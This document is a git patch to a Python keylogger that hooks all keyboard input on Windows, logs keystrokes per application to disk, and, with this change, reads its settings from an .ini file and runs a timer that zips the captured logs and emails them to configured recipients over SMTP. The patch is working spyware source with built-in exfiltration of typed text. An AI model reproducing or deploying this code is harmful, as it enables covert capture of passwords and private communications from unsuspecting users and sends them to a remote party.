From 97a088e5ce994a98f72614508c7ed2c89919c53a Mon Sep 17 00:00:00 2001 From: nanotube Date: Thu, 20 Jul 2006 03:12:04 +0000 Subject: [PATCH] read config from .ini files, autoezip+email --- keylogger.pyw | 91 +++++++++++++++++++--------- logwriter.py | 163 ++++++++++++++++++++++++++++++++++++-------------- 2 files changed, 181 insertions(+), 73 deletions(-) diff --git a/keylogger.pyw b/keylogger.pyw index fa7f2e0..f6c2474 100644 --- a/keylogger.pyw +++ b/keylogger.pyw @@ -6,6 +6,7 @@ from optparse import OptionParser import traceback from logwriter import LogWriter import version +import ConfigParser class KeyLogger: ''' Captures all keystrokes, calls LogWriter class to log them to disk @@ -13,15 +14,16 @@ class KeyLogger: def __init__(self): self.ParseOptions() + self.ParseConfigFile() self.hm = pyHook.HookManager() self.hm.KeyDown = self.OnKeyboardEvent - if self.options.hookKeyboard == True: + if self.settings['hookkeyboard'] == 'True': self.hm.HookKeyboard() #if self.options.hookMouse == True: # self.hm.HookMouse() - self.lw = LogWriter(self.options) + self.lw = LogWriter(self.settings) def start(self): pythoncom.PumpMessages() @@ -34,13 +36,14 @@ class KeyLogger: self.lw.WriteToLogFile(event) - if event.Key == self.options.exitKey: + if event.Key == self.settings['exitkey']: self.stop() return True def stop(self): - self.lw.timer.cancel() + self.lw.flushtimer.cancel() + self.lw.emailtimer.cancel() sys.exit() def ParseOptions(self): @@ -48,42 +51,74 @@ class KeyLogger: ''' parser = OptionParser(version=version.description + " version " + version.version + " (" + version.url + ").") - parser.add_option("-f", "--file", action="store", dest="dirName", help="write log data to DIRNAME [default: %default]") - parser.add_option("-k", "--keyboard", action="store_true", dest="hookKeyboard", help="log keyboard input [default: %default]") - parser.add_option("-a", "--addlinefeed", action="store_true", dest="addLineFeed", help="add linefeed [\\n] character when carriage return [\\r] character is detected (for Notepad compatibility) [default: %default]") - parser.add_option("-b", "--parsebackspace", action="store_true", dest="parseBackspace", help="translate backspace chacarter into printable string [default: %default]") - parser.add_option("-e", "--parseescape", action="store_true", dest="parseEscape", help="translate escape chacarter into printable string [default: %default]") + #~ parser.add_option("-f", "--file", action="store", dest="dirName", help="write log data to DIRNAME [default: %default]") + #~ parser.add_option("-k", "--keyboard", action="store_true", dest="hookKeyboard", help="log keyboard input [default: %default]") + #~ parser.add_option("-a", "--addlinefeed", action="store_true", dest="addLineFeed", help="add linefeed [\\n] character when carriage return [\\r] character is detected (for Notepad compatibility) [default: %default]") + #~ parser.add_option("-b", "--parsebackspace", action="store_true", dest="parseBackspace", help="translate backspace chacarter into printable string [default: %default]") + #~ parser.add_option("-e", "--parseescape", action="store_true", dest="parseEscape", help="translate escape chacarter into printable string [default: %default]") - parser.add_option("-x", "--exitkey", action="store", dest="exitKey", help="specify the key to press to exit keylogger [default: %default]") - parser.add_option("-l", "--flushkey", action="store", dest="flushKey", help="specify the key to press to flush write buffer to file [default: %default]") + #~ parser.add_option("-x", "--exitkey", action="store", dest="exitKey", help="specify the key to press to exit keylogger [default: %default]") + #~ parser.add_option("-l", "--flushkey", action="store", dest="flushKey", help="specify the key to press to flush write buffer to file [default: %default]") parser.add_option("-d", "--debug", action="store_true", dest="debug", help="debug mode (print output to console instead of the log file) [default: %default]") - parser.add_option("-n", "--nolog", action="append", dest="noLog", help="specify an application by full path name whose input will not be logged. repeat option for multiple applications. [default: %default]") - parser.add_option("-o", "--onefile", action="store", dest="oneFile", help="log all output to one file ONEFILE, (inside DIRNAME, as specified with -f option), rather than to multiple files. [default: %default]") + #~ parser.add_option("-n", "--nolog", action="append", dest="noLog", help="specify an application by full path name whose input will not be logged. repeat option for multiple applications. [default: %default]") + #~ parser.add_option("-o", "--onefile", action="store", dest="oneFile", help="log all output to one file ONEFILE, (inside DIRNAME, as specified with -f option), rather than to multiple files. [default: %default]") - parser.add_option("-s", "--systemlog", action="store", dest="systemLog", help="log all output, plus some debug output, to a SYSTEMLOG file (inside DIRNAME, as specified with -f option). [default: %default]") + #~ parser.add_option("-s", "--systemlog", action="store", dest="systemLog", help="log all output, plus some debug output, to a SYSTEMLOG file (inside DIRNAME, as specified with -f option). [default: %default]") #parser.add_option("-r", "--raw", action="store", dest="raw", help="log events in raw mode (pickle event objects with all their attributes). [default: %default]") - parser.add_option("-i", "--interval", action="store", dest="interval", type="float", help="specify the time interval between buffer autoflush events, in seconds. [default: %default]") - - parser.set_defaults(dirName=r"C:\Temp\logdir", - hookKeyboard=True, - addLineFeed=False, - parseBackspace=False, - parseEscape=False, - exitKey='F12', - flushKey='F11', - debug=False, - noLog=None, - oneFile=None, - interval=120.0, - systemLog=None) + #~ parser.add_option("-i", "--interval", action="store", dest="interval", type="float", help="specify the time interval between buffer autoflush events, in seconds. [default: %default]") + + parser.add_option("-c", "--configfile", action="store", dest="configfile", help="filename of the configuration ini file. [default: %default]") + + #~ parser.set_defaults(dirName=r"C:\Temp\logdir", + #~ hookKeyboard=True, + #~ addLineFeed=False, + #~ parseBackspace=False, + #~ parseEscape=False, + #~ exitKey='F12', + #~ flushKey='F11', + #~ debug=False, + #~ noLog=None, + #~ oneFile=None, + #~ interval=120.0, + #~ systemLog=None) + parser.set_defaults(debug=False, configfile="pykeylogger.ini") (self.options, args) = parser.parse_args() + + def ParseConfigFile(self): + '''Read config file options + ''' + #~ defaults = {"dirName":r"C:\Temp\logdir", + #~ "hookKeyboard":"True", + #~ "addLineFeed":"False", + #~ "parseBackspace":"False", + #~ "parseEscape":"False", + #~ "exitKey":"F12", + #~ "flushKey":"F11", + #~ "debug":"False", + #~ "noLog":"None", + #~ "oneFile":"None", + #~ "flushInterval":"120.0", + #~ "emailInterval":"240" + #~ "systemLog":"None"} + + self.config = ConfigParser.SafeConfigParser() + self.config.readfp(open(self.options.configfile)) + + self.settings = dict(self.config.items('general')) + self.settings.update(dict(self.config.items('email'))) + #~ print self.settings + #~ print str(self.options) + #~ print type(dict(str(self.options))) + self.settings.update(self.options.__dict__) + #print self.settings if __name__ == '__main__': kl = KeyLogger() + #print kl.options kl.start() #if you want to change keylogger behavior from defaults, run it with commandline options. try '-h' for list of options. diff --git a/logwriter.py b/logwriter.py index cdd630e..65110b7 100644 --- a/logwriter.py +++ b/logwriter.py @@ -6,37 +6,49 @@ import sys #from threading import Timer import mytimer +#the following are needed for zipping the logfiles +import zipfile +import zlib + +# the following are needed for automatic emailing +import smtplib +from email.MIMEMultipart import MIMEMultipart +from email.MIMEBase import MIMEBase +from email.MIMEText import MIMEText +from email.Utils import COMMASPACE, formatdate +from email import Encoders + class LogWriter: - def __init__(self, options): + def __init__(self, settings): - self.options = options + self.settings = settings - self.options.dirName = os.path.normpath(self.options.dirName) + self.settings['dirname'] = os.path.normpath(self.settings['dirname']) try: - os.makedirs(self.options.dirName, 0777) + os.makedirs(self.settings['dirname'], 0777) except OSError, detail: if(detail.errno==17): #if directory already exists, swallow the error pass else: - self.PrintDebug(sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n") + self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n") except: - self.PrintDebug("Unexpected error: " + sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n") + self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n") self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+") #regexp filter for the non-allowed characters in windows filenames. self.writeTarget = "" - if self.options.systemLog != None: + if self.settings['systemlog'] != 'None': try: - self.systemlog = open(os.path.join(self.options.dirName, self.options.systemLog), 'a') + self.systemlog = open(os.path.join(self.settings['dirname'], self.settings['systemlog']), 'a') except OSError, detail: if(detail.errno==17): #if file already exists, swallow the error pass else: - self.PrintDebug(sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n") + self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n") except: - self.PrintDebug("Unexpected error: " + sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n") + self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n") # we only want to initalize the timer once, and then only AFTER we have some file opened to self.log # so this will be our "one time use" flag @@ -46,40 +58,44 @@ class LogWriter: #~ self.errorlog = open(os.path.join(self.options.dirName, "errorlog.txt"), 'a') #~ self.savestderr = sys.stderr #save stderr just in case we want to restore it later #~ sys.stderr = self.errorlog - + + # Set up the subset of keys that we are going to log + self.asciiSubset = [8,9,10,13,27] #backspace, tab, line feed, carriage return, escape + self.asciiSubset.extend(range(32,255)) #all normal printable chars + + if self.settings['parsebackspace'] == 'True': + self.asciiSubset.remove(8) #remove backspace from allowed chars if needed + if self.settings['parseescape'] == 'True': + self.asciiSubset.remove(27) #remove escape from allowed chars if needed + + # initialize the automatic zip and email timer + self.emailtimer = mytimer.MyTimer(float(self.settings['emailinterval'])*60, 0, self.ZipAndEmailTimerAction) + self.emailtimer.start() def WriteToLogFile(self, event): loggable = self.TestForNoLog(event) # see if the program is in the no-log list. if not loggable: - if self.options.debug: self.PrintDebug("not loggable, we are outta here\n") + if self.settings['debug']: self.PrintDebug("not loggable, we are outta here\n") return - if self.options.debug: self.PrintDebug("loggable, lets log it\n") + if self.settings['debug']: self.PrintDebug("loggable, lets log it\n") loggable = self.OpenLogFile(event) #will return true if log file has been opened without problems #start our autoflush timer, since a log file has been opened at this point, for the first time if loggable and self.flushTimerInitialized == False: self.flushTimerInitialized = True - self.timer = mytimer.MyTimer(self.options.interval, 0, self.TimerAction) - self.timer.start() + self.flushtimer = mytimer.MyTimer(float(self.settings['flushinterval']), 0, self.FlushLogWriteBuffers) + self.flushtimer.start() if not loggable: self.PrintDebug("some error occurred when opening the log file. we cannot log this event. check systemlog (if specified) for details.\n") return - asciiSubset = [8,9,10,13,27] #backspace, tab, line feed, carriage return, escape - asciiSubset.extend(range(32,255)) #all normal printable chars - - if self.options.parseBackspace == True: - asciiSubset.remove(8) #remove backspace from allowed chars if needed - if self.options.parseEscape == True: - asciiSubset.remove(27) #remove escape from allowed chars if needed - - if event.Ascii in asciiSubset: + if event.Ascii in self.asciiSubset: self.PrintStuff(chr(event.Ascii)) - if event.Ascii == 13 and self.options.addLineFeed == True: + if event.Ascii == 13 and self.settings['addlinefeed'] == 'True': self.PrintStuff(chr(10)) #add line feed after CR,if option is set #we translate all the special keys, such as arrows, backspace, into text strings for logging @@ -88,47 +104,104 @@ class LogWriter: self.PrintStuff('[KeyName:' + event.Key + ']') #translate backspace into text string, if option is set. - if event.Ascii == 8 and self.options.parseBackspace == True: + if event.Ascii == 8 and self.settings['parsebackspace'] == 'True': self.PrintStuff('[KeyName:' + event.Key + ']') #translate escape into text string, if option is set. - if event.Ascii == 27 and self.options.parseEscape == True: + if event.Ascii == 27 and self.settings['parseescape'] == True: self.PrintStuff('[KeyName:' + event.Key + ']') - if event.Key == self.options.flushKey: + if event.Key == self.settings['flushkey']: self.log.flush() - if self.options.systemLog != None: self.systemlog.flush() + if self.settings['systemlog'] != 'None': self.systemlog.flush() def TestForNoLog(self, event): '''This function returns False if the process name associated with an event is listed in the noLog option, and True otherwise.''' self.processName = self.GetProcessNameFromHwnd(event.Window) - if self.options.noLog != None: - for path in self.options.noLog: + if self.settings['nolog'] != 'None': + for path in self.settings['nolog'].split(';'): if os.stat(path) == os.stat(self.processName): #we use os.stat instead of comparing strings due to multiple possible representations of a path return False return True - def TimerAction(self): + def FlushLogWriteBuffers(self): self.PrintDebug("flushing file write buffer due to timer\n") self.log.flush() + if self.settings['systemlog'] != 'None': self.systemlog.flush() + def ZipLogFiles(self): + os.chdir(self.settings['dirname']) + myzip = zipfile.ZipFile(self.settings['ziparchivename'], "w", zipfile.ZIP_DEFLATED) + for root, dirs, files in os.walk(os.curdir): + for fname in files: + if fname != self.settings['ziparchivename']: + myzip.write(os.path.join(root,fname).split("\\",1)[1]) + # myzip.write(fname) + myzip.close() + myzip = zipfile.ZipFile(self.settings['ziparchivename'], "r", zipfile.ZIP_DEFLATED) + if myzip.testzip() != None: + self.PrintDebug("Warning: Zipfile did not pass check.\n") + myzip.close() + + def SendZipByEmail(self): + + #def sendMail(to, fro, subject, text, files=[],server="localhost"): + #~ assert type(to)==list + #~ assert type(files)==list + #fro = "Expediteur " + + # set up the message + msg = MIMEMultipart() + msg['From'] = self.settings['smtpfrom'] + msg['To'] = COMMASPACE.join(self.settings['smtpto'].split(";")) + msg['Date'] = formatdate(localtime=True) + msg['Subject'] = self.settings['smtpsubject'] + + msg.attach( MIMEText(self.settings['smtpmessagebody']) ) + + for file in [os.path.join(self.settings['dirname'], self.settings['ziparchivename'])]: + part = MIMEBase('application', "octet-stream") + part.set_payload( open(file,"rb").read() ) + Encoders.encode_base64(part) + part.add_header('Content-Disposition', 'attachment; filename="%s"' + % os.path.basename(file)) + msg.attach(part) + + # set up the server and send the message + mysmtp = smtplib.SMTP(self.settings['smtpserver']) + + if self.settings['debug']: + mysmtp.set_debuglevel(1) + if self.settings['smtpneedslogin'] == 'True': + mysmtp.login(self.settings['smtpusername'],self.settings['smtppassword']) + sendingresults=mysmtp.sendmail(self.settings['smtpfrom'], self.settings['smtpto'].split(";"), msg.as_string()) + self.PrintDebug("Email sending errors (if any): " + str(sendingresults) + "\n") + mysmtp.quit() + + def ZipAndEmailTimerAction(self): + self.PrintDebug("Sending mail to " + self.settings['smtpto'] + "\n") + self.log.flush() + if self.settings['systemlog'] != 'None': self.systemlog.flush() + self.ZipLogFiles() + self.SendZipByEmail() + def OpenLogFile(self, event): - if self.options.oneFile != None: + if self.settings['onefile'] != 'None': if self.writeTarget == "": - self.writeTarget = os.path.join(os.path.normpath(self.options.dirName), os.path.normpath(self.options.oneFile)) + self.writeTarget = os.path.join(os.path.normpath(self.settings['dirname']), os.path.normpath(self.settings['onefile'])) try: self.log = open(self.writeTarget, 'a') except OSError, detail: if(detail.errno==17): #if file already exists, swallow the error pass else: - self.PrintDebug(sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n") + self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n") return False except: - self.PrintDebug("Unexpected error: " + sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n") + self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n") return False self.PrintDebug("writing to: " + self.writeTarget + "\n") @@ -142,27 +215,27 @@ class LogWriter: #make sure our filename plus path is not longer than 255 characters, as per filesystem limit. #filename = filename[0:200] + ".txt" - if len(os.path.join(self.options.dirName, subDirName, filename)) > 255: - if len(os.path.join(self.options.dirName, subDirName)) > 250: + if len(os.path.join(self.settings['dirname'], subDirName, filename)) > 255: + if len(os.path.join(self.settings['dirname'], subDirName)) > 250: self.PrintDebug("root log dir + subdirname is longer than 250. cannot log.") return False else: - filename = filename[0:255-len(os.path.join(self.options.dirName, subDirName))-4] + ".txt" + filename = filename[0:255-len(os.path.join(self.settings['dirname'], subDirName))-4] + ".txt" #we have this writetarget conditional to make sure we dont keep opening and closing the log file when all inputs are going #into the same log file. so, when our new writetarget is the same as the previous one, we just write to the same #already-opened file. - if self.writeTarget != os.path.join(self.options.dirName, subDirName, filename): + if self.writeTarget != os.path.join(self.settings['dirname'], subDirName, filename): if self.writeTarget != "": self.PrintDebug("flushing and closing old log\n") self.log.flush() self.log.close() - self.writeTarget = os.path.join(self.options.dirName, subDirName, filename) + self.writeTarget = os.path.join(self.settings['dirname'], subDirName, filename) self.PrintDebug("writeTarget:" + self.writeTarget + "\n") try: - os.makedirs(os.path.join(self.options.dirName, subDirName), 0777) + os.makedirs(os.path.join(self.settings['dirname'], subDirName), 0777) except OSError, detail: if(detail.errno==17): #if directory already exists, swallow the error pass @@ -188,15 +261,15 @@ class LogWriter: return True def PrintStuff(self, stuff): - if not self.options.debug: + if not self.settings['debug']: self.log.write(stuff) else: self.PrintDebug(stuff) def PrintDebug(self, stuff): - if self.options.debug: + if self.settings['debug']: sys.stdout.write(stuff) - if self.options.systemLog != None: + if self.settings['systemlog'] != 'None': self.systemlog.write(stuff) def GetProcessNameFromHwnd(self, hwnd): -- 2.45.1